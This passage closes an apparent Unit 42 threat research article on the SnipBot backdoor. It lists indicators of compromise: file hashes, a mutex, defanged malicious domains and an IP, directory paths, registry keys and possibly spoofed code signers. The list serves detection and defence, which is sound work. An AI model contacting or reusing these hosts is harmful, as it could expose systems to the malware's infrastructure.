protections to their customers and to systematically disrupt malicious cyber
actors. Learn more about the Cyber Threat Alliance.

We would like to thank Sophos for the collaboration.


INDICATORS OF COMPROMISE

Files (Read: SHA256 hash - file type)

 * 0be3116a3edc063283f3693591c388eec67801cdd140a90c4270679e01677501 - 64-bit EXE
 * 1cb4ff70f69c988196052eaacf438b1d453bbfb08392e1db3df97c82ed35c154 - 64-bit DLL
 * 2c327087b063e89c376fd84d48af7b855e686936765876da2433485d496cb3a4 - 64-bit EXE
 * 5390ba094cf556f9d7bbb00f90c9ca9e04044847c3293d6e468cb0aaeb688129 - 64-bit EXE
 * 57e59b156a3ff2a3333075baef684f49c63069d296b3b036ced9ed781fd42312 - 64-bit EXE
 * 5b30a5b71ef795e07c91b7a43b3c1113894a82ddffc212a2fa71eebc078f5118 - 64-bit EXE
 * 5c71601717bed14da74980ad554ad35d751691b2510653223c699e1f006195b8 - 64-bit EXE
 * 60d96087c35dadca805b9f0ad1e53b414bcd3341d25d36e0190f1b2bbfd66315 - 64-bit DLL
 * 92c8b63b2dd31cf3ac6512f0da60dabd0ce179023ab68b8838e7dc16ef7e363d - 64-bit DLL
 * a2f2e88a5e2a3d81f4b130a2f93fb60b3de34550a7332895a084099d99a3d436 - 64-bit EXE
 * b9677c50b20a1ed951962edcb593cce5f1ed9c742bc7bff827a6fc420202b045 - 64-bit EXE
 * cfb1e3cc05d575b86db6c85267a52d8f1e6785b106797319a72dd6d19b4dc317 - 64-bit EXE
 * e5812860a92edca97a2a04a3151d1247c066ed29ae6bbcf327d713fbad7e79e8 - 64-bit DLL
 * f74ebf0506dc3aebc9ba6ca1e7460d9d84543d7dadb5e9912b86b843e8a5b671 - PDF
   document

Mutex

 * SnipMutex

Associated Domains/IP addresses

 * fastshare[.]click
 * docstorage[.]link
 * publicshare[.]link
 * xeontime[.]com
 * drvmcprotect[.]com
 * mcprotect[.]cloud
 * cethernet[.]com
 * sitepanel[.]top
 * ilogicflow[.]com
 * webtimeapi[.]com
 * dns-msn[.]com
 * certifysop[.]com
 * drv2ms[.]com
 * olminx[.]com
 * linedrv[.]com
 * adobe.cloudcreative[.]digital
 * 1drv.fileshare[.]direct
 * 91.92.250[.]104

Directory paths

 * %LOCALAPPDATA%\KeyStore
 * %LOCALAPPDATA%\DataCache
 * %LOCALAPPDATA%\AppTemp

Registry Keys

 * HKCU\SOFTWARE\AppDataSoft
 * HKCU\SOFTWARE\AppDataHigh

Code Signers (Possibly Spoofed)

 * CC Byg og Udlejning ApS
 * COSMART LLC
 * KHAROS LLC
 * Hangzhou Yueju Apparel Co., Ltd.
 * ARION LLC

Back to top


TAGS

 * Backdoor
 * RomCom
 * SnipBot

Threat Research Center Next: Discovering Splinter: A First Look at a New
Post-Exploitation Red Team Tool


TABLE OF CONTENTS

 * 
 * Executive Summary
 * Malware Background
 * Email Infection Vector
 * SnipBot Malware
   * Newer Downloader Versions
   * Earlier Versions
 * Post-Infection Activity
 * Characteristics
 * Conclusion
 * Indicators of Compromise


RELATED ARTICLES

 * Operation Diplomatic Specter: An Active Chinese Cyberespionage Campaign
   Leverages Rare Tool Set to Target Governmental Entities in the Middle East,
   Africa and Asia
 * Threat Brief: Operation MidnightEclipse, Post-Exploitation Activity Related
   to CVE-2024-3400 (Updated May 20)
 * Curious Serpens’ FalseFont Backdoor: Technical Analysis, Detection and
   Prevention


RELATED MALWARE RESOURCES

Threat Research

SCAM ATTACKS TAKING ADVANTAGE OF THE POPULARITY OF THE GENERATIVE AI WAVE

 * ChatGPT
 * GenAI
 * Cybersquatting

Read now
Threat Research

ACCELERATING ANALYSIS WHEN IT MATTERS

 * Remote Access Trojan
 * Memory detection
 * Redline infostealer

Read now
Threat Research

BEWARE OF BADPACK: ONE WEIRD TRICK BEING USED AGAINST ANDROID DEVICES

 * Android APK
 * APK
 * Cerberus trojan

Read now
Threat Research

DISCOVERING SPLINTER: A FIRST LOOK AT A NEW POST-EXPLOITATION RED TEAM TOOL

 * Red teaming tool
 * Pentest tool

Read now
Threat Actor Groups

GLEAMING PISCES POISONED PYTHON PACKAGES CAMPAIGN DELIVERS PONDRAT LINUX AND
MACOS BACKDOORS

 * Python
 * Cryptocurrency
 * North Korea

Read now
High Profile Threats

THREAT ASSESSMENT: NORTH KOREAN THREAT GROUPS

 * North Korea
 * Remote Access Trojan
 * Finance

Read now
Threat Actor Groups

CHINESE APT ABUSES VSCODE TO TARGET GOVERNMENT IN ASIA

 * DLL Sideloading
 * Advanced Persistent Threat
 * China

Read now
Threat Research

SPOOFED GLOBALPROTECT USED TO DELIVER UNIQUE WIKILOADER VARIANT

 * Malvertising
 * DLL Sideloading

Read now
Threat Actor Groups

FIGHTING URSA LURING TARGETS WITH CAR FOR SALE

 * Advanced Persistent Threat
 * APT28
 * Fancy Bear

Read now
Threat Research

SCAM ATTACKS TAKING ADVANTAGE OF THE POPULARITY OF THE GENERATIVE AI WAVE

 * ChatGPT
 * GenAI
 * Cybersquatting

Read now
Threat Research

ACCELERATING ANALYSIS WHEN IT MATTERS

 * Remote Access Trojan
 * Memory detection
 * Redline infostealer

Read now
Threat Research

BEWARE OF BADPACK: ONE WEIRD TRICK BEING USED AGAINST ANDROID DEVICES

 * Android APK
 * APK
 * Cerberus trojan

Read now
Threat Research

DISCOVERING SPLINTER: A FIRST LOOK AT A NEW POST-EXPLOITATION RED TEAM TOOL

 * Red teaming tool
 * Pentest tool

Read now
Threat Actor Groups

GLEAMING PISCES POISONED PYTHON PACKAGES CAMPAIGN DELIVERS PONDRAT LINUX AND
MACOS BACKDOORS

 * Python
 * Cryptocurrency
 * North Korea

Read now
High Profile Threats

THREAT ASSESSMENT: NORTH KOREAN THREAT GROUPS

 * North Korea
 * Remote Access Trojan
 * Finance

Read now
Threat Actor Groups

CHINESE APT ABUSES VSCODE TO TARGET GOVERNMENT IN ASIA

 * DLL Sideloading
 * Advanced Persistent Threat
 * China

Read now
Threat Research

SPOOFED GLOBALPROTECT USED TO DELIVER UNIQUE WIKILOADER VARIANT

 * Malvertising
 * DLL Sideloading

Read now
Threat Actor Groups

FIGHTING URSA LURING TARGETS WITH CAR FOR SALE

 * Advanced Persistent Threat
 * APT28
 * Fancy Bear

Read now
Threat Research

SCAM ATTACKS TAKING ADVANTAGE OF THE POPULARITY OF THE GENERATIVE AI WAVE

 * ChatGPT
 * GenAI
 * Cybersquatting

Read now
Threat Research

ACCELERATING ANALYSIS WHEN IT MATTERS

 * Remote Access Trojan
 * Memory detection
 * Redline infostealer

Read now
Threat Research

BEWARE OF BADPACK: ONE WEIRD TRICK BEING USED AGAINST ANDROID DEVICES

 * Android APK
 * APK
 * Cerberus trojan

Read now
 * 
 * 


Get updates from Unit 42


PEACE OF MIND COMES FROM STAYING AHEAD OF THREATS. CONTACT US TODAY.

Your Email



Subscribe for email updates to all Unit 42 threat research.
By submitting this form, you agree to our Terms of Use and acknowledge our
Privacy Statement.



Invalid captcha!

Subscribe



PRODUCTS AND SERVICES

 * Network Security Platform
 * CLOUD DELIVERED SECURITY SERVICES
 * Advanced Threat Prevention
 * DNS Security
 * Data Loss Prevention
 * IoT Security

 * Next-Generation Firewalls
 * Hardware Firewalls
 * Strata Cloud Manager

 * SECURE ACCESS SERVICE EDGE
 * Prisma Access
 * Prisma SD-WAN
 * Autonomous Digital Experience Management
 * Cloud Access Security Broker
 * Zero Trust Network Access

 * Code to Cloud Platform
 * Prisma Cloud
 * Cloud-Native Application Protection Platform

 * AI-Driven Security Operations Platform
 * Cortex XDR
 * Cortex XSOAR
 * Cortex Xpanse
 * Cortex XSIAM
 * External Attack Surface Protection
 * Security Automation
 * Threat Prevention, Detection & Response

 * Threat Intel and Incident Response Services
 * Proactive Assessments
 * Incident Response
 * Transform Your Security Strategy
 * Discover Threat Intelligence


COMPANY

 * About Us
 * Careers
 * Contact Us
 * Corporate Responsibility
 * Customers
 * Investor Relations
 * Location
 * Newsroom


POPULAR LINKS

 * Blog
 * Communities
 * Content Library
 * Cyberpedia
 * Event Center
 * Manage Email Preferences
 * Products A-Z
 * Product Certifications
 * Report a Vulnerability
 * Sitemap
 * Tech Docs
 * Unit 42
 * Do Not Sell or Share My Personal Information

 * Privacy
 * Trust Center
 * Terms of Use
 * Documents


Copyright © 2024 Palo Alto Networks. All Rights Reserved
 * 
 * 
 * 
 * 
 * 

EN
 * Select your language
 * USA (ENGLISH)


Your browser does not support the video tag.


DEFAULT HEADING

Read the article
Seekbar



Volume
This site uses cookies essential to its operation, for analytics, and for
personalized content and ads. Please read our privacy statement for more
information.Privacy statement
Cookies Settings Reject All Accept All


Your Opt Out Preference Signal is Honored


PRIVACY PREFERENCE CENTER

When you visit any website, it may store or retrieve information on your
browser, mostly in the form of cookies. This information might be about you,
your preferences or your device and is mostly used to make the site work as you
expect it to. The information does not usually directly identify you, but it can
give you a more personalized web experience. Because we respect your right to
privacy, you can choose not to allow some types of cookies. Click on the
different category headings to find out more and change our default settings.
However, blocking some types of cookies may impact your experience of the site
and the services we are able to offer.
More information on cookie consent
Allow All


MANAGE YOUR CONSENT PREFERENCES

STRICTLY NECESSARY COOKIES

Always Active

These cookies are necessary for the website to function and cannot be switched
off in our systems. They are usually only set in response to actions made by you
which amount to a request for services, such as setting your privacy
preferences, logging in or filling in forms.    You can set your browser to
block or alert you about these cookies, but some parts of the site will not then
work. These cookies do not store any personally identifiable information.

PERFORMANCE COOKIES

Performance Cookies

These cookies allow us to count visits and traffic sources so we can measure and
improve the performance of our site. They help us to know which pages are the
most and least popular and see how visitors move around the site.    All
information these cookies collect is aggregated and therefore anonymous. If you
do not allow these cookies we will not know when you have visited our site, and
will not be able to monitor its performance.

FUNCTIONAL COOKIES

Functional Cookies

These cookies enable the website to provide enhanced functionality and
personalisation. They may be set by us or by third party providers whose
services we have added to our pages.    If you do not allow these cookies then
some or all of these services may not function properly.

TARGETING COOKIES

Targeting Cookies

These cookies may be set through our site by our advertising partners. They may
be used by those companies to build a profile of your interests and show you
relevant adverts on other sites.    They do not store directly personal
information, but are based on uniquely identifying your browser and internet
device. If you do not allow these cookies, you will experience less targeted
advertising.

Back Button


COOKIE LIST



Search Icon
Filter Icon

Clear
checkbox label label
Apply Cancel
Consent Leg.Interest
checkbox label label
checkbox label label
checkbox label label

Reject All Confirm My Choices